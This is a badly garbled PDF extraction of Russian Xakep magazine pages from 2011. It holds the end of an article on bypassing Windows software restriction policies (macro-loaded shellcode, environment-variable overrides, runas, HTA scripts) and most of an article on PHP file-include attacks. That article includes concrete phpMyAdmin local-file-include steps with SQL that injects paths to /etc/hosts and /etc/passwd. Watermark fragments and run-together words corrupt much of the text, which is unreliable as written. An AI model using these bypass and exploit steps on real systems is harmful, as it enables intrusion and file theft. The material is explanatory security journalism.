Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
8.91 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

В результате, как ты можешь догадаться, мыполучаемзапущенный exe.Хардконныйметод предложил опятьжеДидьеСтивенс (goo.gl/kSPK3).Используяв макросеMSExcelфункции VirtualAlloc, WriteProcessMemory иCreateThread,онсумелподгрузить шеллкод измакросав память процесса. ДанныйшеллкодподгружаетDLL’ку впамять процесса, аDLL’ка — не что иное,как cmd.exe. Кстати,ее исходники взятыиз проекта ReactOS. Как яужесказал, SRP может препятствовать запускуDLL’ек (хотяине делаетэтогопо умолчанию), ноесли подгрузку библиотекосуществлять,используя функцию LoadLibraryEx с LOAD_IGNORE_CODE_AUTHZ_LEVEL вместо LoadLibrary, топроверканапринадлежностьподгружаемой dll к white-листу не происходит!

ТРЮК6.ИСПОЛЬЗУЕМПЕРЕМЕННЫЕСРЕДЫ

Когданачинаешьмучитьгрупповыеполитики,топриходитосознание, чтодлясозданиязащищеннойсистемыпотребуетсяпопотеть.Дело трудноеисбольшимколичествомтонкостей.Например,разработчики предлагаютадминамиспользоватьудобныйхинт—указыватьпере- менныесредывкачествепутейдляограниченийSRP.Давотздесь проблема.Упользователя,еслиихжестконеприщучить,естьвозможностьихпереопределять.Указал,например,админ,чтоизпапки %TEMP%можнозапускатьexe’шники,аюзервзялдаипереопределил следующейкомандой:

Set TEMP C:\

ИвоттакпростополучилвозможностьзапускатьфайлыизкорняC:. Крометого,нестоитзабыватьпростандартныедиректории,изкоторых разрешензапускexe-файлов:

%HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\ CurrentVersion\SystemRoot%

%HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\ CurrentVersion\SystemRoot%*.exe

%HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\ CurrentVersion\SystemRoot%System32\*.exe

%HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\ CurrentVersion\ProgramFilesDir%

ОниразрешаютзапускПОтолькоизпапкиWindowsиProgram Filesдляпользователей.Уобычногопользователянетвозможности

Обходчерезизменениепеременнойокружения

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

Недостаточноправ?Достаточноw Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

записивних,ноиздесьмогутбытьпроблемы.Таккакнасамомделе праваназаписьупользователяесть—подефолтувпапкуC:\windows\ system32\spool\PrintersиC:\windows\temp.Еслиупользователябудет возможностьписатьвкакой-токаталогссофтом,то,считай,соответ- ствующиеполитикиSRPуженесработают.Кстати,длятогочтобына практикеповерить,какиеупользователяестьправа,поможеттулза— AccessChkотвсетогожеРуссиновича(goo.gl/jQ9tt).

ТРЮК7.ИСПОЛЬЗУЕМДРУГОГОПОЛЬЗОВАТЕЛЯ

Естьспособнеподпуститьподгрузкиполитик,нодляэтоготриканам понадобятсялогинипарольдругогопользователя.Сутьвтом,чтонам надовойтивсистему«ещераз»,нонеподсобой.Тутдваварианта:

1.<Shift>+правыйкликназапускаемомфайле,далеевконтекстном менювыбираем«Runas…».

2.Через консоль набираем команду: runas /noprofile <название exe-файла>.

Другойпользователь,подкоторымтызапускаешьпрограммку, какиты,можетбытьобычнымпользователемсограниченнымиправами.Нополитикиназапущеннуюпрограммкууженебудутдействовать!См.рисунок.

Нанемпользовательtest_gpo3неможетзапуститьregeditиз-за политик.Но,запустивподtest_gpo2любойexe’шник(диспетчерзадач например),онуженичемнеограниченипоэтомуможетзапустить regedit.Крометого,еслиунасестьвозможностьудаленноговходав систему(поRDP,например),томыможемпровестианалогичныйфинт, нотолькосоднойучеткой(демонстрациюможешьпосмотретьвэтом видео—bit.ly/pXsBj6).

ТРЮК8.ВСПОМИНАЕМПРОHTA

Последнийхинткасаетсянеофициальныхисключений,накоторыене действуютгрупповыеполитики.ВадимcПоданснаписалвблогеот- личнуюсериюпостов,посвещенныхSRP-политикам.Вчастности,он обнаружилотличныйпутьдляихобходаизапускапроизвольногокода (goo.gl/BmBsm)сиспользованиемприложенияHTA(HTMLApplication). Итак,последовательностьдействий:

1. Создаемфайликспримернотакимтекстом:

<HTML>

<script language="vbscript">

msgbox "I'm dangerous VB Code!!!"

</script>

</HTML>

2.Сохраняемегосрасширением.hta(например,execute_this.hta).

3.Создаемярлыкдлянего.

4.Открываемссылку—иhtaзапускается.

Надолиговорить,чтовместовызовабезобидногоMessageBox’а VB-кодможетсделатьвсистемечтоугодно?ПолитикиSRPдолж- ныпроверятьвеськод,которыйможетисполняться,втомчислеи всевозможныескрипты.Однакоиз-затонкостейработыгрупповых политикданныйобходработает.Каналогичным«глюковатым»расширениямпомимоHTAВадимсотноситREG,MSC,HTA,CHM.Точно такжеситуациянаблюдаетсяисcom=файлами(втомчислевсякими

олдскульнымиДОС’овскимипрограммами,которыевсеещеразбросанывпапкевинды).Онинеучитываютправилагрупповыхполитик,так какработаютввиртуальноймашинеDOS.

НАШИТОГ

Кактыможешьзаметить,всевозможныхлазеекполно.Ихразнообразиеиухищрениянемогутнеудивлять.То,чтояскажудальше,может тебяудивить.Дажепослеперечислениявсехэтихспособовдляобхода ограниченийявсеженастоятельнорекомендуюнепренебрегатьих использованием.Ктомужетеперьтыможешьучитыватьвозможность примененияэтихлазеекиснамногобольшейвероятностьюнастроить систему,котораябудетдостаточнозащищена.z

ХАКЕР 10/153/2011

069

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

F

 

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

ВЗЛОМm

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

 

.c

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-xcha

n

e

 

Pr0xorKotov

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

(https://rdot.org/forum/)w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Тысяча иодин инклуд

ПОИСК

УЯЗВИМОСТЕЙ КЛАССАLOCAL/ REMOTEFILE INCLUDEНА НОВОМУРОВНЕ

Широкоизвестно,чтопричиной возникновенияуязвимостей классаLFI/RFIвPHP-движках служитвозможностьпередачи произвольныхданныхвоператорыinclude(_once)иrequire(_once). Насамомделеподключение файловкPHP-сценариюможно реализоватьимножествомдругих,менееизвестныхспособов, обэксплуациикоторыхипойдет речьвэтойстатье.

LINKS

www.php.net/ set_include_path— описаниефункции set_include_path();

www.php.net/ unserialize— описаниефункции unserialize();

www.php.net/ virtual—описание функцииvirtual();

www.php.net/__ autoload—описание метода__autoload;

bit.ly/nWyefG— теманафорумеrdot. org,посвященная магическимметодам и__autoloadвчастности;

bit.ly/pdY5zS

—немногопро spl_autoload();

www.phpmyadmin. net—официальный сайтphpMyAdmin;

bit.ly/nV1niG—один изLFI-эксплойтов дляphpMyAdmin’а.

DVD

Нанашемдискеты сможешьнайтиподробноеобучающее видеоковсем описаннымвстатье методаминклуда.

ТРЮКИСSET_INCLUDE_PATH()

Первое,начтобыяхотелобратитьвнимание,этофункцияset_ include_path(),котораяустанавливаетдиректориидляинклудав директивуinclude_path идаетвозможностьманипуляцииработой операторовinclude(_once)/require(_once).Такаяманипуляцияста- новитсявозможнойвслучае,есливPHP-сценариинезаданполный путькподключаемомуфайлу,тоестьсначаланужныйфайлищетсяв путяхизinclude_path,азатем—врабочейдиректориискрипта.

Темсамым,еслимысможемпередатьсвоипроизвольныеданные вset_include_path (иливini_set('include_path', [данные]),что аналогично,толегкоизменимрезультатработыinclude.

ДляпримерадавайвозьмемабстрактныйкодPHP-приложения,в одномизскриптовкоторогомынашлиследующееинтересноеместо:

set_include_path($path . PATH_SEPARATOR . get_include_path()); include "myclass.php";

Допустим,чтовданномскриптемыможемвлиятьнапеременную $path.Например,онаберетсяизбазыданных,вкоторуюунасестьдо- ступ,илижеееможнозадатьвадмин-панелиприложения,вкоторую мытакжеможемпопасть.Вобщем,вариантовсуществуетвеликое множество.Легкопонять,чтотакимобразоммысможемпроинклудить файлmyclass.php излюбойдиректории.

070

ХАКЕР 10/153/2011

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Конечно,самапосебефункцияset_include_path(),котораяпринимаетпроизвольныепользовательскиеданные,неявляетсятакой ужсильнойугрозойбезопасности,ноесливтомжеприложениивдруг обнаружитсяуязвимостьтипа«filemanipulation»(тоестьмыможем создаватьфайлыспроизвольнымименем),тотутужевполневозможенследующийповоротсобытий:

1.Создаемв/tmp файлсименемmyclass.php (правадоступанаэту директориюобычно777).

2.Устанавливаем$path = /tmp/.

3.Обращаемсякскрипту,вкотороместьуказанныйвышекод,инаблюдаемуспешныйинклудфайлаmyclass.phpиздиректории/tmp.

Ты,конечноже,спросишь,еслиунасестьвозможностьсоздания произвольногофайланасервере,тозачемещепроизводитьвсеэти «лишние»действия.

Здесь есть один важный момент: так как мы расматриваем уязвимости именно PHP-скриптов, то не стоит забывать, что на подавляющем большинстве веб-серверов PHP запущен как модуль Апача и тем самым не обладает какими-либо особенными правами, кроме www/nobody/apache. Чтобы раскрутить уязвимость типа «file manipulation», мы должны создать файл в корневой директории веба, но там вполне может и не быть каталога, доступного на запись средствами PHP.

АВТОМАТИЧЕСКАЯЗАГРУЗКАОБЪЕКТОВ

Следующийважныймеханизм,которыйтакжепозволяетманипулироватьданнымивконструкцияхinclude(_once)/require(_once),это возможностьавтоматическойзагрузкиобъектов.

Широкоизвестно,чтовPHP>=5.1.2ивышебылареализована удобная«магическая»функция__autoload,позволяющаяподключатьфайлысописаниемклассовавтоматическибезиспользования includeвявномвиде.

Еслиобратитьсякофициальнойдокументации,тонашевнимание вполнеможетпривлечьтакоезамечаниеотразработчиковPHP:

If the class name is used e.g. in call_user_func()

then it can contain some dangerous characters such as ../.

It is recommended to not use the user-input in such functions or at least verify the input in __autoload().

Данноезамечаниеозначаеттотфакт,чтоеслимыможемвлиятьна параметрыфункций,оперирующихназваниямиклассов,тостановятсявозможнымиуязвимоститипаLFI/RFI.Например,воттакойкод вполнедаетвозможностьпроинклудитьфайл/etc/passwd:

function __autoload($class_name) {

require_once $class_name . '.php';

}

call_user_func(array("../../../etc/passwd\0","test"));

Конечноже,call_user_func() неединственнаяфункция,которая получаетвкачествепараметраимяклассаилиобьекта.Кчислутаких функцийтакжеотноситсяимногострадальнаяunserialize(),причем пользовательскиеданныепопадаютвэтуфункциюнамногочаще,чем вcall_user_func().

Однакоздесьестьинекоторыеограничения.Придесериализации объектаназваниеклассапроверяетсянавалидность,такимобразом, мынесможемпротолкнутьвимениобъектачто-товроде«../../../etc/ passwd».Темнеменееунасвполнеполучитсяпроинклудитьфайлиз тогожекаталога,гденаходитсяинашскрипт.

set_include_path()+__autoload()

Еслиучестьвсёнаписанноевышепоповодуфункцииset_include_ path(),тостановитсявозможныминклудлюбыхфайловизлюбой директории.

Представим,чтонужноенамвеб-приложениесодержитметод__ autoload,функциюset_include_path() ифункциюunserialize():

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

Тысячаиодининклудw Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Описание«новой»инклуд-функцииspl_autoload()насайтекитайскиххакеров80vul.com

function __autoload($class_name)

{

include $class_name;

}

...

set_include_path($path.PATH_SEPARATOR . get_include_path());

...

$cookie = unserialize($_COOKIE['auth']);

Далеесновапредположим,чтомыможемвлиятьнапеременную $path.Тогда,задав$path равным«/etc/»ипославвкукахзначение authравным«O:7:"hosts":0:{}»,мывполнесможемпроинклудить файл«/etc/hosts».ДанныйфактописаннетольковофициальнойдокументацииPHP,такженекоторыепримерыможнонайтиивобсужденияхнафорумеrdot.org(ссылкуищивсносках).Говоряоб__autoload, нельзянеупомянутьиотакназываемыхSPL-функциях,например spl_autoload,котораяимеетдовольнозабавнуюнедокументированнуювозможность,описаннуюещев2009г.насайтекитайскиххакеров 80vul.com:

<?php spl_autoload('info', '.txt'); ?>

Данныйсценарийвполнеуспешновыполниткодизфайлаinfo.txt.

VIRTUAL’НАЯРЕАЛЬНОСТЬ

ЕщеоднаPHP-функция,котораяпозволяет«проинклудить»файл,это virtual().Насамомделеонасильноотличаетсяотвышеперечисленных конструкций,таккакееиспользованиеэквивалентно<!--#include virtual...--> вmod_include,тоестьонавсеголишьвыполняетподзапросApache.ИспользуетсяданнаяфункциядляподключенияCGI- скриптов,shtml-файловивообщевсего,чтоможнообработатьчерез Apache.СPHP-файламиэтафункциятакжеработаетвполнесносно.

Еслиунаснасервереестьвоттакойскрипт:

<?php virtual('info.php'); ?>

…топриобращениикэтомускриптувбраузерпопадетрезультат выполненияфайлаподназваниемinfo.php.

GOOGLECODESEARCH

Дляповышениясвоеголевелабагокопателясоветуюзайтина google.com/codesearch,выбратьвкачествеязыкадляпоискаlang:^php$ ипоискатьвдвижкахописанныевстатьеопасныеконструкции:set_ include_path(),__autoload,spl_autoload(),virtual()иunserialize().

ХАКЕР 10/153/2011

071

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

F

 

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

ВЗЛОМm

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

 

.c

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-xcha

n

e

 

LFIвphpMyAdmin’евфайлеsql.php

Такжеотмечу,чтоvirtual иspl_autoload —этопользовательские функции,темсамымихможноиспользоватьвкачествеcallback’ов. Например,virtualможновызватьдинамическиследующимобразом:

<?php

$path = 'virtual';

$path('myclass.php'); ?>

...илипередатькакпараметрвcall_user_func():

<?

call_user_func('virtual', 'myclass.php');

?>

EVAL==EVIL

Ещеоднаважнаяконструкция,котораяпозволяетвыполнитькодиз указанногофайла,этоeval('?>' . trim(file_get_contents('info.txt'))).

Впринципе,онадаеттотжесамыйрезультат,чтоииспользованиеinclude/require,ноприэтомсуществуютнекоторыенюансы. Во-первых,онанеоптимизируетсяакселераторами,темсамымпри оченьчастомиспользованииданнойконструкциимогутпоявиться проблемысбыстродействием.Во-вторых,наfile_get_contents() в eval() недействуетдирективаallow_url_include,темсамым,если allow_url_fopen = On (даннаяопцияподефолтуимеетименнотакое значение),мывполнесможемподключитьудаленныйфайл.

Кстати,именноэтотпростойфактидаетвозможностьтакпросто добитьсявыполнениякодавизвестномэксплойте«phpMyAdmin<= 2.11.9unserialize()arbitraryPHPcodeexecutionexploit»(bit.ly/qW94f9).

РазработчикиphpMyAdmin’апослевыходаданнойуязвимостив пабликубралиизкодасвоегодвижкатольколишьопаснуюфункцию unserialize(),оставивприэтомнеменееопасныйметодloadвклассе PMA_Configбезизменений.Причинаэтогонепотребствакроетсяв следующемкускекодаизметодаload:

$eval_result =

eval('?>' . trim(implode("\n", file($this->getSource()))));

...

if ($eval_result === false) $this->error_config_file = true;

else

{

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

$this->error_config_file = false;

$this->source_mtime = filemtime($this->getSource());

}

Данныйкоддаетвозможностькорректнойобработкиошибки парсингаконфига(написанномнаPHP)вслучаеегонеосторожной модификациикем-либо.

Тоестьесликонфигдвижкабудетсодержатьошибки,тонаэкран выведетсякрасивооформленноесообщениевида«phpMyAdmin was unable to read your configuration file!»вместо«Parse error», котороебыпоявилосьприиспользованииinclude’а.

ИНКЛУДЫВPHPMYADMIN

Теперь,послетогокактынамоталвсёвышеописанноенаус,давай продолжимначатуювпрошломномережурналатемупотрошения phpMyAdmin’а.Кактыужепомнишь,виюлеэтогогодавphpMyAdmin’е нашлицелуюплеядубагов,атакженеописанныев][двадовольно интересныхинклуда.Впабликенамоментнаписаниястатьиинформациионихнаходилосьдовольномало,приводилисьлишькускиуязвимогокода,что,конечно,нераскрываетвсейсутиэтихуязвимостей, поэтомудавайрассмотримихпоближе.

Итак,первымпоспискуидетлокальныйинклудвфайле./ libraries/display_tbl.lib.php.УязвимывсеверсииphpMyAdmin’а вплотьдо3.3.10.1включительноидо3.4.3включительно.

Информациюобэтоминклудеможнонайтинаофициальномсайте движкавразделеSecurity(PMASA-2011-8).

ПЕРВЫЙИНКЛУД:ТЕОРИЯ

Прочитавadvisory,давайвзглянемнапатч,предлагаемыйразработчикамидляветки3.3.х(вообщеследитьзапатчамиразработчиков всегдадовольноинтересно,таккактамвсегдаможнонайтидесятки малоизвестныхиужепофиксенныхзеродеев).

Сампатчвыглядитпримернотак:

./libraries/display_tbl.lib.php (phpMyAdmin 3.3.10)

if ($GLOBALS['cfgRelation']['mimework']

&& $GLOBALS['cfg']['BrowseMIME']) {

if (isset($GLOBALS['mime_map'][$meta->name]['mimetype']) ... ) {

...

-$include_file = $GLOBALS['mime_map'][$meta->name]

['transformation'];

+$include_file = PMA_securePath($GLOBALS['mime_map'][$meta->name]

['transformation']);

Описаниемагическогометода__autoloadнасайтеphp.net

072

ХАКЕР 10/153/2011

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

Тысячаиодининклудw Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Создание«ядовитой»таблицывphpMyAdmin

...

require_once './libraries/transformations/' . $include_file;

Изприведенноговышекодастановитсяясно,чтодляреализации данноголокальногоинклуданеобходимыследующиеусловия:

1.$GLOBALS['cfg']['BrowseMIME'] == true.Сразускажу,чтоэтоусловиеобычнобудетвыполнено,таккаквфайле ./libraries/config. default.php указаннаяпеременнаяпоумолчаниювыставленав true.Влиятьнаэтупеременнуюмынеможем.Еслиадминсменилее значениев config.default.php,инклудполучитьуженеудастся.

2.Должныбытьопределенымассивы $GLOBALS['cfgRelation'] и $GLOBALS['mime_map'].Массив$cfgRelation играетдовольно важнуюрольвовсехуязвимостях,окоторыхпойдетречь,поэтомуя подробноопишу,какимжеобразомонформируется.

Итак,данныймассивзадаетсяфункциейPMA_getRelationsParam(), которая,всвоюочередь,определяетсявфайле./libraries/relation. lib.php:

function PMA_getRelationsParam($verbose = false)

{

if(empty($_SESSION['relation'][$GLOBALS['server']]))

{

$_SESSION['relation'][$GLOBALS['server']] =

PMA__getRelationsParam();

}

$GLOBALS['cfgRelation'] = $_SESSION['relation'[$GLOBALS['server']];

...

return $_SESSION['relation'][$GLOBALS['server']];

}

Есливмассиве $_SESSION незаданэлементrelation[$GLOBALS ['server']],тоонзадаетсяпосредствомфункцииPMA__ getRelationsParam.Еслижеэтотэлементзадан,тоонпросто возвращается.ФункцияPMA__getRelationsParam определяет массив$cfgRelation,руководствуясьзначениемпеременной $cfg['Servers'][$i]['pmadb'].

Еслизначениеэтойпеременнойнезадано,товсеэлементы массива $cfgRelation будутиметьзначения false или null.Если жепеременная$cfg['Servers'][$i]['pmadb'] определенаидоступна соответствующаябазаданных,томассив $cfgRelation определяетсявсоответствиисэтойбазойданных.Такимобразом,если

мыхотимзанестивмассив$GLOBALS['cfgRelation'] нужныенам значения,унасдолжнабытьвозможностьперезаписипеременных

вмассиве$_SESSION илидолженбытьдоступкбазеданныхподназванием«phpmyadmin»(вообщеэтабазаданныхможетназываться ипо-другому,таккакееназваниеопределяетсяконфигурационной переменнойдвижка$cfg['Servers'][$i]['pmadb']).

Важноотметить,чтоужеизвестнаятебеперезаписьпеременных массива$_SESSION вфункции parse_str(),обнаруженнаяMango, имеетместовтехжеверсияхphpMyAdmin’а,чтоирассматриваемый инклуд.Такимобразомв $cfgRelation мыслегкостьюможемзаписатьнужныенамданные.

Единственное,чтоещенужнознать,этозначениепеременной $GLOBALS['server'].Этапеременнаяопределяет,скакимсервером базыданныхмыбудетсоединяться.ОбычноphpMyAdminсоединяется

сединственнымсервером,изначениеэтойпеременнойбудетравно1.

Вкодедвижкапредусмотреныразличныевариантыработысомногимисерверами,поэтому,чтобыточнознатьзначениеэтойпеременной, намдостаточновзглянутьнакукисы,выставленныенамphpMyAdmin'ом: 'pmaUser-' . $GLOBALS['server''pmaPass-' . $GLOBALS['server'].

Идемдальше.

Массив $GLOBALS['mime_map'] задаетсяспомощьюфункцииPMA_ getMIME():

./libraries/transformations.lib.php

function PMA_getMIME($db, $table, $strict = false)

{

...

$com_qry = '

SELECT `column_name`,

`mimetype`,

`transformation`,

`transformation_options`

FROM ' . PMA_backquote($cfgRelation['db']) .

'.' . PMA_backquote($cfgRelation['column_info']) . '

WHERE `db_name` = \'' . PMA_sqlAddslashes($db) . '\'

AND `table_name` = \'' . PMA_sqlAddslashes($table) . '\'

AND ( `mimetype` != \'\'' . (!$strict ? '

OR `transformation` != \'\'

OR `transformation_options` != \'\'' : '') . ')';

return PMA_DBI_fetch_result($com_qry, 'column_name',

null, $GLOBALS['controllink']);

}

Еслимыхотим,чтобымассив $GLOBALS['mime_map'] содержал нужныенамданные,мыдолжнысоздатьсвоюпроизвольнуютаблицув БД.Еслиэтавозможностьунасесть,толокальныйинклудвполневозможен.Теперьсамоевремявыяснить,какикогдавызываетсяфункция

PMA_displayTableBody.

ХАКЕР 10/153/2011

073

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

F

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

ВЗЛОМm

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

.c

 

 

p

 

 

 

 

g

 

 

 

 

 

df

-xcha

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Инклудчерез__autoload

Посленебольшогопоискапокодустановитсяясно,чтосамыйудобныйдлянасвызовэтойфункциипроисходитвфайлеsql.php:

//подключается файл с нужными нам функциями

require_once './libraries/display_tbl.lib.php';

...

//если задана БД, то создается важный для нас массив $cfgRelation

if (strlen($db)) {

require_once './libraries/relation.lib.php';

$cfgRelation = PMA_getRelationsParam();

}

...

PMA_displayTable($result, $disp_mode, $analyzed_sql);

Функция PMA_displayTable заданавфайле ./libraries/display_ tbl.lib.php,небудуприводитьздесьеекод,скажулишь,чтоздесьже вызываетсяфункцияPMA_displayTableHeaders,вкоторойиформируетсянужныйнаммассив $GLOBALS['mime_map'].

ПЕРВЫЙИНКЛУД:ПРАКТИКА

Извышеперечисленногоследует,чтодлявыполнениялокального инклудамыдолжныпроизвестиследующиедействия:

1.АвторизоватьсявphpMyAdmin’еисоздатьдветаблицывдоступнойнамбазеданных.

Первуютаблицумыбудемвыводить,обращаяськsql.phpивызываятемсамымнужныенамфункции:

CREATE TABLE 'test'.'integer' ( '1' INT NOT NULL ) ENGINE = MYISAM ; INSERT INTO 'test'.'integer' ( '1' ) VALUES ( '1' );

Втораятаблицанужнанамдлясозданиякорректногомассива $GLOBALS['mime_map']:

CREATE TABLE 'test'.'pmatest' ( 'column_name' INT NOT NULL , 'mimetype' INT NOT NULL , 'transformation' TEXT NOT NULL , 'transformation_options' INT NOT NULL , 'db_name' TEXT NOT NULL, 'table_name' TEXT NOT NULL ) ENGINE = MYISAM ;

INSERT INTO 'test'.'pmatest' ('column_name', 'mimetype', 'transformation', 'transformation_options', 'db_name', 'table_name') VALUES ('1', '1', '../../../../../../../../etc/hosts',

'1', 'test', 'integer');

Вполеtransformation мыдолжныуказатьпутьдолокального файла,вполе db_name —имятойбазыданных,которойпринадлежит

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

